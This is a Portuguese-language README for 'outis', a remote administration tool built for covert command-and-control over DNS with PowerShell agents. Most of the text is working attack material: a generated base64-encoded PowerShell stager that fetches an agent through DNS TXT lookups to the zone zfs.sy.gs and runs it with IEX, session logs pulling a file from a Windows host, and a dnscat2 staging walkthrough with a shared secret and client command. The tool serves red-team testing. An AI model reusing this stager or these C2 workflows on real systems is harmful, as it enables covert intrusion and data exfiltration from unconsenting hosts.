syss-research/outisoutis é uma ferramenta personalizada de administração remota (RAT) ou algo do tipo. Foi construída para suportar vários métodos de transporte (como DNS) e plataformas (como Powershell).
outis é uma ferramenta de administração remota (RAT) personalizada ou algo parecido. Pense em Meterpreter ou Empire-Agent. No entanto, o foco desta ferramenta não é um kit de exploração (não há exploits) nem o gerenciamento persistente de alvos. O foco é comunicar entre servidor e sistema alvo e transferir arquivos, compartilhar sockets, abrir shells e assim por diante usando vários métodos e plataformas.
O ciclope Polifemo na Odisseia de Homero teve alguns problemas com resolução de nomes. Quando ele perguntou o nome de Odisseu, o hacker lhe disse que era "Outis" que significa "Ninguém" em grego antigo. Assim, quando Polifemo depois gritou que Ninguém estava prestes a matá-lo, estranhamente nenhuma ajuda chegou. Meus agradecimentos a Marcel por lembrar desta peça maravilhosa de conto clássico.
Usuários Archlinux podem instalar os seguintes pacotes:
Em outras distribuições os nomes podem diferir, por exemplo, existe um módulo chamado crypto e um módulo chamado pycrypto. Precisamos do último.
Além disso, versões mais antigas podem causar problemas:
$ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'
Você pode configurar um ambiente virtual python facilmente:
$ virtualenv outis-venv
$ source ./outis-venv/bin/activate
(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl
Isso resulta na seguinte lista de pacotes, que parece funcionar para mim:
$ pip freeze
appdirs==1.4.3
asn1crypto==0.22.0
cffi==1.10.0
cryptography==1.8.1
dnspython==1.15.0
idna==2.5
packaging==16.8
progressbar2==3.18.1
pycparser==2.17
pycrypto==2.6.1
pyOpenSSL==16.2.0
pyparsing==2.2.0
python-utils==2.1.0
six==1.10.0
Clone este repositório git com a flag recursiva para também clonar seus submódulos na pasta thirdpartytools:
git clone --recursive ...
O handler roda em Python 3. Instale suas dependências e execute-o. Ele gerará stagers, agents e tudo mais para você.
Para vincular portas baixas sem precisar de privilégios de root, considere usar um wrapper de capacidades.
Download de um arquivo usando transporte DNS com estágio e plataforma POWERSHELL poderia ser assim:
$ outis
outis> set TRANSPORT DNS
outis> set ZONE zfs.sy.gs
outis> set AGENTDEBUG TRUE
outis> info
[+] Options for the Handler:
Name Value Required Description
----------------- ---------- -------- -----------------------------------------------------------------
TRANSPORT DNS True Communication way between agent and handler (Options: REVERSETCP,
DNS)
CHANNELENCRYPTION TLS True Encryption Protocol in the transport (Options: NONE, TLS)
PLATFORM POWERSHELL True Platform of agent code (Options: POWERSHELL)
PROGRESSBAR TRUE True Display a progressbar for uploading / downloading? (only if not
debugging the relevant module) (Options: TRUE, FALSE)
[+] Options for the TRANSPORT module DNS:
Name Value Required Description
--------- ----------- -------- ------------------------------------------------------------------------
ZONE zfs.sy.gs True DNS Zone for handling requests
LHOST 0.0.0.0 True Interface IP to listen on
LPORT 53 True UDP-Port to listen on for DNS server
DNSTYPE TXT True DNS type to use for the connection (stager only, the agent will
enumerate all supported types on its own) (Options: TXT, A)
DNSSERVER False IP address of DNS server to connect for all queries
[+] Options for the PLATFORM module POWERSHELL:
Name Value Required Description
-------------------- -------------------------- -------- ----------------------------------------------
STAGED TRUE True Is the communication setup staged or not?
(Options: TRUE, FALSE)
STAGEENCODING TRUE True Should we send the staged agent in an encoded
form (obscurity, not for security!) (Options:
TRUE, FALSE)
STAGEAUTHENTICATION TRUE True Should the stager verify the agent code
before executing (RSA signature verification
with certificate pinning) (Options: TRUE,
FALSE)
STAGECERTIFICATEFILE $TOOLPATH/data/outis.pem False File path of a PEM with both RSA key and
certificate to sign and verify staged agent
with (you can generate a selfsigned cert by
using the script gencert.sh initially)
AGENTTYPE DEFAULT True Defines which agent should be used (the
default outis agent for this plattform, or
some third party software we support)
(Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER)
TIMEOUT 9 True Number of seconds to wait for each request
(currently only supported by DNS stagers)
RETRIES 2 True Retry each request for this number of times
(currently only supported by DNS stagers)
AGENTDEBUG TRUE True Should the agent print and log debug messages
(Options: TRUE, FALSE)
outis> generatestager
[+] Use the following stager code:
powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7
ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA
BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A
UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG
8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6
ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA
B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA
LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH
AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl
AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw
BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A
YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE
8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk
ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw
AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA
aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF
IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5
AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw
BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A
VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG
UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF
AE4AVAAiADsASQBFAFgAIAAkAHMAOwA=
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (34332 bytes)...
100% (184 of 184) |########################################################| Elapsed Time: 0:00:16 Time: 0:00:16
[+] Staging done
[+] Waiting for connection and TLS handshake...
[+] Initial connection with new agent started
[+] Upgrade to TLS done
outis session> [+] AGENT: Hello from Agent
outis session> download C:\testfile.txt /tmp/out.txt
[+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt
[+] agent reports a size of 3295 bytes for channel 1
100% (3295 of 3295) |######################################################| Elapsed Time: 0:00:00 Time: 0:00:00
[+] wrote 3295 bytes to file /tmp/out.txt
outis session> exit
Do you really want to exit the session and close the connection [y/N]? y
outis> exit
Ou talvez queiramos usar o dnscat2 para o trabalho real e apenas usar o outis para estagiá-lo:
$ outis
outis> set TRANSPORT DNS
outis> set AGENTTYPE DNSCAT2
outis> set ZONE zfs.sy.gs
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (406569 bytes)...
100% (2185 of 2185) |#######################################################| Elapsed Time: 0:01:17 Time: 0:01:17
[+] Staging done
[+] Starting dnscat2 to handle the real connection
New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = zfs.sy.gs]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2> sessions
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = zfs.sy.gs [*]
1 :: command (feynman-win7) [encrypted and verified] [*]
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt
Attempting to download c:/testfile.txt to /tmp/out.txt
Wrote 3295 bytes from c:/testfile.txt to /tmp/out.txt!
command (feynman-win7) 1> exit
Input thread is over
Este projeto foi inspirado por (e descaradamente roubou parte de seu código de):
Empire:
Metasploit:
ReflectiveDLLInjection:
p0wnedShell:
dnscat2:
dnsftp
Use por sua conta e risco. Não use sem o consentimento pleno de todos os envolvidos. Apenas para fins educacionais.